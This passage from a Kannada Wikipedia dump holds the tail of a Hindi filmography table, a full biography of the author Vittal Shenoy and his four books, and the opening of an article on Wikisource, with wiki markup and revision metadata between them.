೧೯೭೩ || ''[[:en:Jalte Badan | ಜಲ್ತೆ ಬದನ್ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ<br>ಕಥೆ || |- | ೧೯೭೨|| ''[[:en:Lalkaar | ಲಲ್ಕಾರ್ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ<br>ಕಥೆ || |- | ೧೯೭೦ || ''[[:en:Geet (1970 Film)| ಗೀತ್ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ || |- | ೧೯೬೮|| ''[[:en:Aankhen (1968 Film)| ಆಂಖೇನ್ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ<br>ಕಥೆ || |- | ೧೯೬೫|| ''[[:en:Arzoo (1965 Film)| ಆರ್ಜೂ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ<br>ಕಥೆ || |- | ೧೯೬೪|| ''[[:en:Zindagi (1964 Film)|ಜಿಂದಗೀ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ<br>ನಿರ್ಮಾಪಕ || |- | ೧೯೬೪|| ''[[:en:Rajkumar (1964 Film)|ರಾಜಕುಮಾರ್ (ಹಿಂದಿ)]]'' || ಚಿತ್ರ || ಸಂಭಾಷಣೆ <br>ಚಿತ್ರಕಥೆ || |- | ೧೯೬೦|| ''[[:en:Ghunghat (1960 Film)|ಘುಂಘಟ್ (ಹಿಂದಿ)]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ || |- | ೧೯೫೯|| ''[[:en:Paigham (1959 Film)|ಪೈಗಾಮ್ (ಹಿಂದಿ)]]'' || ಚಿತ್ರ || ಸಂಭಾಷಣೆ || |- | ೧೯೫೮|| ''[[:en:Raj Tilak (1958 Film)|ರಾಜ್ ತಿಲಕ್ ]]'' || ಚಿತ್ರ || ಕಥೆ<br>ಸಂಭಾಷಣೆ || |- | ೧೯೫೬|| ''ಮೇಮ್ ಸಾಹಿಬ್'' || ಚಿತ್ರ || ಸಂಭಾಷಣೆ || |- | ೧೯೫೪|| ''[[:en:Bazooband|ಬಾಜೋಬಂದ್]]''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ || |- | ೧೯೫೨|| ''[[:en:Sangdil (1952 Film)|ಸಂಗ್ದಿಲ್]]'' || ಚಿತ್ರ || ಸಂಭಾಷಣೆ <br>ಚಿತ್ರಕಥೆ || |- | ೧೯೫೩|| ''ಮೆಹ್ಮಾನ್''|| ಚಿತ್ರ || ನಿರ್ದೇಶಕ || |- | ೧೯೫೦|| ''ಜಾನ್ ಪೆಹ್ಚಾನ್'' || ಚಿತ್ರ || ಸಂಭಾಷಣೆ <br>ಚಿತ್ರಕಥೆ || |- | ೧೯೪೯|| ''[[:en:Barsaat (1949 Film)|ಬರ್ಸಾತ್]]'' || ಚಿತ್ರ || ಕಥೆ<br> ಸಂಭಾಷಣೆ <br> ಚಿತ್ರಕಥೆ || |- |} <ref name="filmlist"/> ==ಉಲ್ಲೇಖಗಳು== <references /> ==ಹೊರಗಿನ ಸಂಪರ್ಕಗಳು== * {{IMDb name|nm0755997}} * [https://www.ramanandsagarfoundation.com/an-epic-life/ ರಾಮಾನಂದ ಸಾಗರ ಪ್ರತಿಷ್ಠಾನ] [[ವರ್ಗ:ಹಿಂದಿ ಚಲನಚಿತ್ರ ನಿರ್ದೇಶಕರು]] [[ವರ್ಗ:ಹಿಂದಿ-ಭಾಷೆಯ ಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಪಂಜಾಬಿ ಜನರು]] [[ವರ್ಗ:ಹಿಂದಿ ಸಾಹಿತಿಗಳು]] 7dgv968upx1yhtq8cmtw4zxxwnqzv7p ವಿಠಲ್ ಶೆಣೈ 0 128150 1116465 994748 2022-08-23T13:10:27Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox writer | image = Vittal Shenoy.jpg | caption = | name = ವಿಠಲ್ ಶೆಣೈ | birth_date = | birth_place = [[ಮಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | occupation = ಸಾಫ್ಟ್ವೇರ್ ತಂತ್ರಜ್ಞ, [[ಲೇಖಕ]], | alma_mater = [[ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾಲಯ]] | genre = [[ಕಾದಂಬರಿ]], [[ಕತೆ]] | subject = ಪತ್ತೆದಾರಿ, ಸಮಕಾಲೀನ | notableworks = ತಾಳಿಕೋಟೆಯ ಕದನದಲ್ಲಿ | spouse = | children = | website = }} '''ವಿಠಲ್ ಶೆಣೈ''' [[ಮಂಗಳೂರು]] ಮೂಲದ ಸಾಫ್ಟ್ವೇರ್ ತಂತ್ರಜ್ಞ. ಪ್ರಸ್ತುತ [[ಬೆಂಗಳೂರು|ಬೆಂಗಳೂರಿನ]] ನಿವಾಸಿ. ಪ್ರವೃತ್ತಿಯಿಂದ [[ಕನ್ನಡ ಭಾಷೆ]]ಯ ಒಬ್ಬ ಲೇಖಕ. ಕೆಲವು ವರ್ಷಗಳಿಂದ ಅವರು ಕನ್ನಡದಲ್ಲಿ ಬರೆಯುತ್ತಿದ್ದಾರೆ. ಅವರ ಮೊದಲ ಕಾದಂಬರಿ '''ತಾಳಿಕೋಟೆಯ ಕದನದಲ್ಲಿ''' ಅವರ ವಿಶಿಷ್ಟ ನಿರೂಪಣಾ ಶೈಲಿಯನ್ನು ಪ್ರಚುರಪಡಿಸಿತು. ==ಪ್ರಾಥಮಿಕ ಜೀವನ== ವಿಠಲ್ ಶೆಣೈ [[ಮಂಗಳೂರು|ಮಂಗಳೂರಿನಲ್ಲಿ]] ಜನಿಸಿದರು. ಅವರು [[ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾಲಯ|ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾಲಯದಿಂದ]] ಇಂಜಿನೀಯರಿಂಗ್ ಪದವಿಯನ್ನು ಪಡೆದಿದ್ದಾರೆ. == ವೃತ್ತಿ ಜೀವನ == ವಿಠಲ್ ಶೆಣೈ ವೃತ್ತಿಯಂದ ಸಾಫ್ಟ್ವೇರ್ ತಂತ್ರಜ್ಞರಾಗಿ. ಸುಮಾರು ೯೦ರ ದಶಕದ ಅಂತ್ಯದಿಂದ ಸಾಫ್ಟ್ವೇರ್ ತಂತ್ರಜ್ಞರಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಈ ನಡುವೆ ಅವರು ಅಮೇರಿಕಾ, ಇಂಗ್ಲೆಂಡ್, ಜರ್ಮನಿ, ಸಿಂಗಾಪುರ ಮುಂತಾದೆಡೆ ಕೆಲಸ ಮಾಡಿದ ಅನುಭವ ಪಡೆದರು. ಇನ್ನು ಫ್ರವೃತ್ತಿಯಾದ ಕನ್ನಡ ಸಾಹಿತ್ಯಕ್ಕೆ ಬಂದರೆ, ಸುಮಾರು ೨೦೧೩ರಿಂದ ಬರೆಯಲು ಶುರು ಮಾಡಿದರು. [[ಪೂರ್ಣಚಂದ್ರ ತೇಜಸ್ವಿ]], [[ಯಂಡಮೂರಿ ವೀರೇಂದ್ರನಾಥ್‌]], [[ಕೆ. ಎನ್. ಗಣೇಶಯ್ಯ]] ಮುಂತಾದ ಖ್ಯಾತ ಲೇಖಕರಿಂದ ಸ್ಫೂರ್ತಿ ಪಡೆದು ಬರವಣಿಗೆಯಲ್ಲಿ ತೊಡಗಿದರು. ವಿವಿಧ ದೇಶಗಳಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದ ಅನುಭವವು ಕತೆಯ ಪೋಷಣೆಯಲ್ಲಿ ಸಹಾಯಕ್ಕೆ ಬಂದಿದೆ. ಇದಲ್ಲದೆ ಇವರು ಹಲವು ಪುಸ್ತಕಗಳ ವಿಮರ್ಶೆ ಕೂಡ ಮಾಡಿದ್ದಾರೆ<ref>{{cite web |last1=ಶೆಣೈ |first1=ವಿಠಲ್ |title=ಮದನಿಕೆ ದಿ ಲಾಸ್ಟ ಸೀನ್ ಪುಸ್ತಕ ರಿವ್ಯೂ |url=https://kannada.pratilipi.com/read/%E0%B2%AE%E0%B2%A6%E0%B2%A8%E0%B2%BF%E0%B2%95%E0%B3%86-%E0%B2%A6%E0%B2%BF-%E0%B2%B2%E0%B2%BE%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B3%8D-%E0%B2%B8%E0%B3%80%E0%B2%A8%E0%B3%8D-%E0%B2%AA%E0%B3%81%E0%B2%B8%E0%B3%8D%E0%B2%A4%E0%B2%95-%E0%B2%B0%E0%B2%BF%E0%B2%B5%E0%B3%8D%E0%B2%AF%E0%B3%82-%E0%B2%B2%E0%B3%87%E0%B2%96%E0%B2%95-%E0%B2%B5%E0%B2%BF%E0%B2%A0%E0%B3%8D%E0%B2%A0%E0%B2%B2%E0%B3%8D-%E0%B2%B6%E0%B3%86%E0%B2%A3%E0%B3%88-%E0%B2%AE%E0%B2%A6%E0%B2%A8%E0%B2%BF%E0%B2%95%E0%B3%86-%E0%B2%A6%E0%B2%BF-%E0%B2%B2%E0%B2%BE%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B3%8D-%E0%B2%B8%E0%B3%80%E0%B2%A8%E0%B3%8D-%E0%B2%AA%E0%B3%81%E0%B2%B8%E0%B3%8D%E0%B2%A4%E0%B2%95-%E0%B2%B0%E0%B2%BF%E0%B2%B5%E0%B3%8D%E0%B2%AF%E0%B3%82-%E0%B2%B2%E0%B3%87%E0%B2%96%E0%B2%95-%E0%B2%B5%E0%B2%BF%E0%B2%A0%E0%B3%8D%E0%B2%A0%E0%B2%B2%E0%B3%8D-%E0%B2%B6%E0%B3%86%E0%B2%A3%E0%B3%88-dzjtdiw6x4pf-1550x86l74h625c |website=kannada.pratilipi.com |accessdate=28 May 2020 |archiveurl=https://web.archive.org/web/20200528170638/https://kannada.pratilipi.com/read/%E0%B2%AE%E0%B2%A6%E0%B2%A8%E0%B2%BF%E0%B2%95%E0%B3%86-%E0%B2%A6%E0%B2%BF-%E0%B2%B2%E0%B2%BE%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B3%8D-%E0%B2%B8%E0%B3%80%E0%B2%A8%E0%B3%8D-%E0%B2%AA%E0%B3%81%E0%B2%B8%E0%B3%8D%E0%B2%A4%E0%B2%95-%E0%B2%B0%E0%B2%BF%E0%B2%B5%E0%B3%8D%E0%B2%AF%E0%B3%82-%E0%B2%B2%E0%B3%87%E0%B2%96%E0%B2%95-%E0%B2%B5%E0%B2%BF%E0%B2%A0%E0%B3%8D%E0%B2%A0%E0%B2%B2%E0%B3%8D-%E0%B2%B6%E0%B3%86%E0%B2%A3%E0%B3%88-%E0%B2%AE%E0%B2%A6%E0%B2%A8%E0%B2%BF%E0%B2%95%E0%B3%86-%E0%B2%A6%E0%B2%BF-%E0%B2%B2%E0%B2%BE%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B3%8D-%E0%B2%B8%E0%B3%80%E0%B2%A8%E0%B3%8D-%E0%B2%AA%E0%B3%81%E0%B2%B8%E0%B3%8D%E0%B2%A4%E0%B2%95-%E0%B2%B0%E0%B2%BF%E0%B2%B5%E0%B3%8D%E0%B2%AF%E0%B3%82-%E0%B2%B2%E0%B3%87%E0%B2%96%E0%B2%95-%E0%B2%B5%E0%B2%BF%E0%B2%A0%E0%B3%8D%E0%B2%A0%E0%B2%B2%E0%B3%8D-%E0%B2%B6%E0%B3%86%E0%B2%A3%E0%B3%88-dzjtdiw6x4pf-1550x86l74h625c |archivedate=28 May 2020}}</ref>. ಜೊತೆಗೆ ಇವರು ತಾಂತ್ರಿಕ ಬ್ಲಾಗ್‍ಗಳನ್ನು ಬರೆಯುತ್ತಾರೆ. ==ಕೃತಿಗಳು== {| class="wikitable sortable" |- ! ವರ್ಷ!! ಹೆಸರು !! ಪ್ರಕಾರ !! ಟಿಪ್ಪಣಿಗಳು |- | ೨೦೧೭|| ಪಾರಿವಾಳಗಳು || ಲಲಿತ ಪ್ರಬಂಧ || ನೈಜ ಘಟನೆಗಳ ತಿಳಿ ಹಾಸ್ಯ ಮಿಶ್ರಿತ ಪ್ರಬಂಧಗಳು |- | ೨೦೧೮|| ತಾಳಿಕೋಟೆಯ ಕದನದಲ್ಲಿ || ಕಾದಂಬರಿ || ಕಾಲ್ಪನಿಕ ಕಾದಂಬರಿ |- | ೨೦೧೯|| ಹುಲಿವೇಷ || ಕಥಾಸಂಕಲನ || ಮಂಗಳೂರಿನ ಹುಲಿವೇಷದ ಆಟ ಸಹಿತ ಇತರ ಕತೆಗಳು |- | ೨೦೨೦|| ನಿಗೂಢ ನಾಣ್ಯ || ಕಾದಂಬರಿ || ಬಿಟ್ ಕಾಯಿನ್ ಕೇಂದ್ರೀಕರಿಸಿ ಹಣೆದ ಕಾಲ್ಪನಿಕ ಕಾದಂಬರಿ |- |} ==ಕೃತಿಗಳ ಪರಿಚಯ== ಇವರ ಮೊದಲ ಕೃತಿ '''ಪಾರಿವಾಳಗಳು'''. ಪಾರಿವಾಳಗಳು ಒಂದು ಲಲಿತ ಪ್ರಬಂಧಗಳ ಸಂಕಲನ. ಇಲ್ಲಿ ಬರುವ ಕಥೆಗಳು ನಿಜ ಜೀವನದಲ್ಲಿ ಲೇಖಕರಿಗೆ ಆದ ಅನುಭವಗಳನ್ನು ತಿಳಿ ಹಾಸ್ಯದೊಂದಿಗೆ ಪ್ರಬಂಧಗಳಲ್ಲಿ ನಿರೂಪಿಸಿದ್ದಾರೆ. ಬೆಂಗಳೂರು ಮತ್ತು ಅಮೇರಿಕಾದಲ್ಲಿ ಅವರಿಗಾದ ಅನುಭವಗಳನ್ನು ಇಲ್ಲಿ ನಾವು ಕಾಣಬಹುದು. ಬೆಂಗಳೂರಿನ ವಾಹನದಟ್ಟನೆಯ ಬಗ್ಗೆ, ಪಾರಿವಾಳಗಳ ಬಗ್ಗೆ, ಅಮೇರಿಕಾದಲ್ಲಿನ ರಜಾ ಪ್ರವಾಸ ಕಥನ ಓದುಗನನ್ನು ನಗೆಗಡಲಲ್ಲಿ ತೇಲಿಸುತ್ತದೆ <ref>{{cite web |title=‘ಪಾರಿವಾಳಗಳು’ – ವಿಠಲ್ ಶೆಣೈ |url=https://pustakapremi.wordpress.com/2018/11/01/%E0%B2%AA%E0%B2%BE%E0%B2%B0%E0%B2%BF%E0%B2%B5%E0%B2%BE%E0%B2%B3%E0%B2%97%E0%B2%B3%E0%B3%81-%E0%B2%B5%E0%B2%BF%E0%B2%A0%E0%B2%B2%E0%B3%8D-%E0%B2%B6%E0%B3%86%E0%B2%A3%E0%B3%88/ |publisher=ಪುಸ್ತಕಪ್ರೇಮಿ |accessdate=30 May 2020 |archiveurl=https://web.archive.org/web/20200530050206/https://pustakapremi.wordpress.com/2018/11/01/%E0%B2%AA%E0%B2%BE%E0%B2%B0%E0%B2%BF%E0%B2%B5%E0%B2%BE%E0%B2%B3%E0%B2%97%E0%B2%B3%E0%B3%81-%E0%B2%B5%E0%B2%BF%E0%B2%A0%E0%B2%B2%E0%B3%8D-%E0%B2%B6%E0%B3%86%E0%B2%A3%E0%B3%88/ |archivedate=30 ಮೇ 2020 |date=1 Nov 2018 |url-status=bot: unknown }}</ref>. ಇವರ ಎರಡನೆಯ ಕೃತಿ '''ತಾಳಿಕೋಟೆಯ ಕದನದಲ್ಲಿ'''. ಇದು ಒಂದು ಕಾಲ್ಪನಿಕ ಕಾದಂಬರಿ. ಇಲ್ಲಿ ಒಬ್ಬ ಚರಿತ್ರೆಯ ಅಧ್ಯಾಪಕ ಹಂಪಿಗೆ ಹೋಗಿ ಅಲ್ಲಿನ ಪಾಳುಬಿದ್ದ ದೇವಸ್ಥಾನಗಳನ್ನು ನೋಡುತ್ತಾನೆ. ಅವನಿಗೆ ಗತಕಾಲದ ಬಗ್ಗೆ ಮಾಹಿತಿ ಕೊಡಲು ಕಾಲಗರ್ಭದಲ್ಲಿ ಅಡಗಿದ್ದ ಇಬ್ಬರು ಸಿಗುತ್ತಾರೆ. ತಾಳಿಕೋಟೆಯ ಕದನದ ಸಂಪೂರ್ಣ ಅಧಿಕೃತ ಮಾಹಿತಿ ಅವರಿಂದ ದೊರೆಯುತ್ತಿರುತ್ತದೆ. ಇದು ಅವನ ಪ್ರಸ್ತುತ ಜೀವನದೊಂದಿಗೆ ಸಂಬಂಧ ಹೊಂದಿರುತ್ತದೆ. ವರ್ತಮಾನದಲ್ಲಿ ನಿಂತು ಭೂತಕಾಲವನ್ನು ತೋರಿಸುವ ಪರಿ ವಿಶಿಷ್ಟವಾಗಿದೆ. ಈ ನಡುವೆ ವಾಚಕನಿಗೆ ವಿಜಯನಗರದ ಪತನಕ್ಕೆ ಕಾರಣೀಭೂತರಾದ ಗಿಲಾನಿ ಸಹೋದರರ ಮೋಸದ ಬಗ್ಗೆ ಪರಿಚಯವಾಗುತ್ತದೆ. ಇತಿಹಾಸ ಮತ್ತು ವಾಸ್ತವ ಇವೆರಡರ ನಡುವೆ ಕುತೂಹಲಕಾರಿ ತಿರುವುಗಳನ್ನು ಪಡೆಯುವ ಕಾದಂಬರಿಯು ಕಡೆಯಲ್ಲಿ ರೋಚಕ ಅಂತ್ಯ ಪಡೆಯುತ್ತದೆ <ref>{{cite web |title=ತಾಳಿಕೋಟೆಯ ಕದನದಲ್ಲಿ - ಮನಸ್ಸಿನ ತಾಕಲಾಟ |url=http://www.varthabharati.in/article/kruthi-parichaya/151411 |website=www.varthabharati.in |accessdate=30 May 2020 |archiveurl=https://web.archive.org/web/20200530043935/http://www.varthabharati.in/article/kruthi-parichaya/151411 |archivedate=30 May 2020 |format=html |date=3 Sep 2020}}</ref><ref>{{cite web |last1=ಹದಡಿ |first1=ಚನ್ನಮಲ್ಲಿಕಾರ್ಜುನ್ |title=ವರ್ತಮಾನದಲ್ಲಿ ಇತಿಹಾಸ ತೆರೆದಿಡುವ ಕಾದಂಬರಿ |url=https://www.vijayavani.net/talikote-kadanadalli-story-novel/ |website=www.vijayavani.net |publisher=vijayavani |accessdate=1 June 2020 |archiveurl=https://web.archive.org/web/20200601144803/https://www.vijayavani.net/talikote-kadanadalli-story-novel/ |archivedate=1 June 2020 |date=4 November 2018}}</ref>. ಇವರ ಮೂರನೆಯ ಕೃತಿ '''ಹುಲಿವೇಷ'''. ಇದು ಒಂದು ಕಥಾಸಂಕಲನ. ೭ ಕಥೆಗಳಿವೆ. ಇದರಲ್ಲಿ ಮಂಗಳೂರಿನ [[ಹುಲಿವೇಷ|ಹುಲಿವೇಷದ ಸಂಸ್ಕೃತಿಯ]] ಕಥೆ ಬರುತ್ತದೆ. ಸಣ್ಣ ಕಥೆಯೂ ಅಲ್ಲದ, ಕಾದಂಬರಿಯೂ ಅಲ್ಲದ ಇವೆರಡರ ನಡುವೆ ಬರುವ ಕುತೂಹಲಕರ ಕಥೆ. ಹುಲಿವೇಷದ ಆಟದ ಸಮಯದಲ್ಲಿ ಏನೆಲ್ಲಾ ನಡೆಯಬಹುದು ಎಂದು ಹೇಳುತ್ತಾ ಕಥೆ ಬೆಳೆಯುತ್ತದೆ. ಅದರಲ್ಲಿ ಉತ್ತರ ಕರ್ನಾಟಕದ ಕೆಲವರಿಗೆ ಹುಲಿವೇಷ ಹಾಕಿಸಿ ಅವರಿಂದ ಇದನ್ನು ತೆಗೆಯುವ ಪರಿ ಓದಲು ಚೆನ್ನಾಗಿದೆ. ಕಡೆಯಲ್ಲಿ ಇನ್ನೆಷ್ಟೋ ವಿಚಾರಗಳು ಬಂದು ಸೇರುತ್ತವೆ. ಎಂದಿನಂತೆ ರೋಚಕ ಅಂತ್ಯಕ್ಕೆ ಕೊರತೆಯಿಲ್ಲ. ಇನ್ನೊಂದು ಕಥೆಯಲ್ಲಿ ಒಬ್ಬ ಉದಯೋನ್ಮುಖ ಗಾಯಕನ ಏರಿಳಿತದ ಪೀಕಲಾಟ ಮತ್ತು ಒಬ್ಬ ನಿಸ್ಪ್ರಹ ಗ್ರಾಮೀಣ ಗಾಯಕನ ಜೀವನ ದರ್ಶನವಿದೆ.ಇದಲ್ಲದೆ ಕೆಲವು ಕಥೆಗಳಲ್ಲಿ ನೀತಿ ಪಾಠ ಹಾಸುಹೊಕ್ಕಾಗಿದೆ. ಆದರೆ ಇದನ್ನು ಪ್ರಯತ್ನಪೂರ್ವಕವಾಗಿ ಮಾಡಿದ ಹಾಗೆ ಕಾಣದು<ref>{{cite web |author1=ಕಾರುಣ್ಯಾ |title=ಹುಲಿವೇಷ - ಜನಪ್ರಿಯ ದಾಟಿಯ ಕತೆಗಳು |url=https://s3.ap-south-1.amazonaws.com/erelegos3dec17/News/VARTABARTI/SHI/2019/10/22/ArticleImages/1EF0206.jpg |website=varthabharati.erelego.com |publisher=ವಾರ್ತಾ ಭಾರತಿ |accessdate=30 May 2020 |archiveurl=https://web.archive.org/web/20200530045606/https://s3.ap-south-1.amazonaws.com/erelegos3dec17/News/VARTABARTI/SHI/2019/10/22/ArticleImages/1EF0206.jpg |archivedate=30 May 2020 |format=jpg |date=22 Oct 2018}}</ref>. ಇವರ ನಾಲ್ಕನೆಯ ಕೃತಿ '''ನಿಗೂಢ ನಾಣ್ಯ'''. ಇದು ಪ್ರಾಯಶ: ಕನ್ನಡದಲ್ಲಿ "ಬಿಟ್ ಕಾಯಿನ್" ಮತ್ತು "ಬ್ಲಾಕ್ ಚೈನ್" ಬಗ್ಗೆ ಬಂದ ಮೊದಲ ಕಾಲ್ಪನಿಕ ಕಾದಂಬರಿ. ಇಲ್ಲಿ ಕಥಾನಾಯಕ, ಅಮೇರಿಕಾದಲ್ಲಿ ಬೆಳದ, ಬೆಂಗಳೂರಿನಲ್ಲಿ "ಬಿಟ್ ಕಾಯಿನ್"ಗಳ ವಹಿವಾಟು ಮಾಡುವ ಒಂದು [[:en:Startup company|ನವೋಧ್ಯಮ]] ನಡೆಸುತ್ತಿರುತ್ತಾನೆ. ಅದರಿಂದಾಗಿ ಹಲವು ತೊಂದರೆಗಳಿಗೆ ಈಡಾಗುತ್ತಾನೆ. ಅದರಿಂದ ಅವನು ಹೇಗೆ ಹೊರಬರುತ್ತಾನೆ ಎಂಬುದು ಇಲ್ಲಿಯ ಕಥೆಯ ತಿರುಳು. ಇಲ್ಲಿ "ಬಿಟ್ ಕಾಯಿನ್" ಮತ್ತು "ಬ್ಲಾಕ್ ಚೈನ್", ಹಣ-ಧನ ಇವುಗಳ ಬಗ್ಗೆ ವಿಸ್ತೃತ ಇತಿಹಾಸ ಮತ್ತು ಲೇಖಕರ ವಿಶ್ಲೇಷಣೆಯಿದೆ. ಒಟ್ಟಿನಲ್ಲಿ ಈ ಎಲ್ಲದರ ಬಗ್ಗೆ ಅಧಿಕೃತ ಮಾಹಿತಿ ಹೊಂದಿದೆ, ಎಷ್ಟೆಂದರೆ ಇದು ಕನ್ನಡದಲ್ಲಿ '''"ಬಿಟ್ ಕಾಯಿನ್" ಮತ್ತು "ಬ್ಲಾಕ್ ಚೈನ್" ತಂತ್ರಜ್ಞಾನಗಳ ಕೈಪಿಡಿಯ''' ರೀತಿಯಿದೆ. ಆದರೆ ಈ ಎಲ್ಲವನ್ನೂ ಸಾಮಾನ್ಯ ಜನರಿಗೆ ಅರ್ಥವಾಗುವ ರೀತಿಯಲ್ಲಿ ಪ್ರಸ್ತುತ ಪಡಿಸುವ ಪ್ರಯತ್ನ ಮಾಡಿದ್ದಾರೆ<ref>{{cite web |title=ನಿಗೂಢ ನಾಣ್ಯ |url=https://mylang.in/collections/kaadambari/products/vittal-shenoy-nigoodha-naanya-inr |website=mylang.in |accessdate=30 May 2020 |archiveurl=https://web.archive.org/web/20200530051537/https://mylang.in/collections/kaadambari/products/vittal-shenoy-nigoodha-naanya-inr |archivedate=30 May 2020 |format=html}}</ref>. {{Gallery |title=ವಿಠಲ್ ಶೆಣೈರವರ ಪುಸ್ತಕಗಳ ಮುಖಪುಟ |width=160 |height=100 |align=center |ಚಿತ್ರ:Paarivalagalu-cover.jpg|ಪಾರಿವಾಳಗಳು - ಲಲಿತ ಪ್ರಬಂಧಗಳು |ಚಿತ್ರ:Taalikoteya-kadanadalli.jpg|ತಾಳಿಕೋಟೆಯ ಕದನದಲ್ಲಿ - ಕಾದಂಬರಿ |ಚಿತ್ರ:Huli-vesha.png|ಹುಲಿ ವೇಷ - ಕಥಾ ಸಂಕಲನ |ಚಿತ್ರ:Nigoodha-naanya.jpg|ನಿಗೊಢ ನಾಣ್ಯ - ಕಾದಂಬರಿ }} == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == [https://www.youtube.com/watch?v=yfOQx2_nkdk| ನಿಗೊಢ ನಾಣ್ಯ - ವಿಠಲ್ ಶೆಣೈ] [[ವರ್ಗ:ಲೇಖಕರು]] [[ವರ್ಗ:ಪತ್ತೇದಾರಿ ಲೇಖಕರು]] [[ವರ್ಗ:ಬೆಂಗಳೂರಿನವರು]] a6uuvuwrek916q23xetmuc705i4gq24 ವಿಕಿಸೋರ್ಸ್ 0 129432 1116462 999824 2022-08-23T13:02:58Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox website|name=Wikisource|logo=[[File:Wikisource-logo.svg|100px|The current Wikisource logo]]|screenshot=[[File:Wikisource screenshot 2008.png|250px|Detail of the Wikisource multilingual portal main page.]]|caption=Screenshot of wikisource.org home page|url=[[wikisource:mul:|wikisource.org]]|commercial=No|type=[[Digital library]]|registration=Optional|owner=[[Wikimedia Foundation]]|author=User-generated|launch_date={{Start date and age|2003|11|24}}<ref name=ayersmatthewsyates>{{cite book|title=How Wikipedia Works|first1=Phoebe|last1=Ayers|first2=Charles|last2=Matthews|first3=Ben|last3=Yates|publisher=No Starch Press|year=2008|isbn=978-1-59327-176-3|pages=[https://archive.org/details/howwikipediawork00ayer_0/page/435 435–436]|url-access=registration|url=https://archive.org/details/howwikipediawork00ayer_0/page/435}}</ref>|current_status=Online|alexa={{DecreasePositive}} 2,934 ({{as of|2020|01|13|alt=January 2020}})<ref name="alexa">{{cite web |title=wikisource.org Competitive Analysis, Marketing Mix and Traffic - Alexa |url=https://www.alexa.com/siteinfo/wikisource.org |website=www.alexa.com |accessdate=13 January 2020 |archive-date=31 ಜುಲೈ 2009 |archive-url=https://web.archive.org/web/20090731232411/https://www.alexa.com/siteinfo/wikisource.org |url-status=dead }}</ref>}} '''ವಿಕಿಸೋರ್ಸ್ [[ವಿಕಿಪೀಡಿಯ:ಯೋಜನೆ|ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾಣದ]]''' ನಿರ್ವಹಣೆಯಲ್ಲಿರುವ '''ಉಚಿತ ವಿಷಯವನ್ನು [[ಆಕರ ಗ್ರಂಥ|ಗ್ರಂಥಮೂಲ]]'''ಗಳನ್ನು ತೋರಿಸುವ ಆನ್ಲೈನ್ ಡಿಜಿಟಲ್ ಗ್ರಂಥಾಲಯ ಆಗಿದೆ. ವಿಕಿಸೋರ್ಸ್ ಎನ್ನುವುದು ಒಟ್ಟಾರೆಯಾಗಿ ಯೋಜನೆಯ ಹೆಸರು ಮತ್ತು ಆ ಯೋಜನೆಯ ಪ್ರತಿಯೊಂದು ನಿದರ್ಶನಗಳ ಹೆಸರು (ಪ್ರತಿಯೊಂದು ನಿದರ್ಶನವೂ ಸಾಮಾನ್ಯವಾಗಿ ಬೇರೆ ಭಾಷೆಯನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ); ಅನೇಕ ವಿಕಿಸೋರ್ಸಗಳು ವಿಕಿಸೋರ್ಸ್ನ ಒಟ್ಟಾರೆ ಯೋಜನೆಯನ್ನು ರೂಪಿಸುತ್ತದೆ. ಎಲ್ಲಾ ರೀತಿಯ ಉಚಿತ ಪಠ್ಯವನ್ನು, ಅನೇಕ ಭಾಷೆಗಳಲ್ಲಿ ಮತ್ತು ಅನುವಾದಗಳಲ್ಲಿ ಹೋಸ್ಟ್ ಮಾಡುವುದು ಯೋಜನೆಯ ಉದ್ದೇಶವಾಗಿದೆ. ಮೂಲತಃ ಉಪಯುಕ್ತ ಅಥವಾ ಪ್ರಮುಖ ಐತಿಹಾಸಿಕ ಪಠ್ಯಗಳನ್ನು ಸಂಗ್ರಹಿಸಲು ಆರ್ಕೈವ್ ಆಗಿ ಕಲ್ಪಿಸಲಾಗಿತ್ತು (ಇದರ ಮೊದಲ ಪಠ್ಯ <span class="plainlinks">[//fr.wikisource.org/w/index.php?title=Déclaration_universelle_des_Droits_de_l’Homme&oldid=1338 ''ಡೆಕ್ಲರೇಶನ್ ಯೂನಿವರ್ಸೆಲ್ಲೆ ಡೆಸ್ ಡ್ರಾಯಿಟ್ಸ್ ಡೆ ಎಲ್ ಹೋಮೆ'']</span> ), ಇದು ಸಾಮಾನ್ಯ-ವಿಷಯ ಗ್ರಂಥಾಲಯವಾಗಿ ವಿಸ್ತರಿಸಿದೆ. ಪ್ರಾಜೆಕ್ಟ್ ಗುಟೆನ್‌ಬರ್ಗ್‌ನ ನಾಟಕವಾದ '''ಪ್ರಾಜೆಕ್ಟ್ ಸೋರ್ಸ್‌ಬರ್ಗ್''' ಹೆಸರಿನಲ್ಲಿ ಈ ಯೋಜನೆ ಅಧಿಕೃತವಾಗಿ ನವೆಂಬರ್ 24, 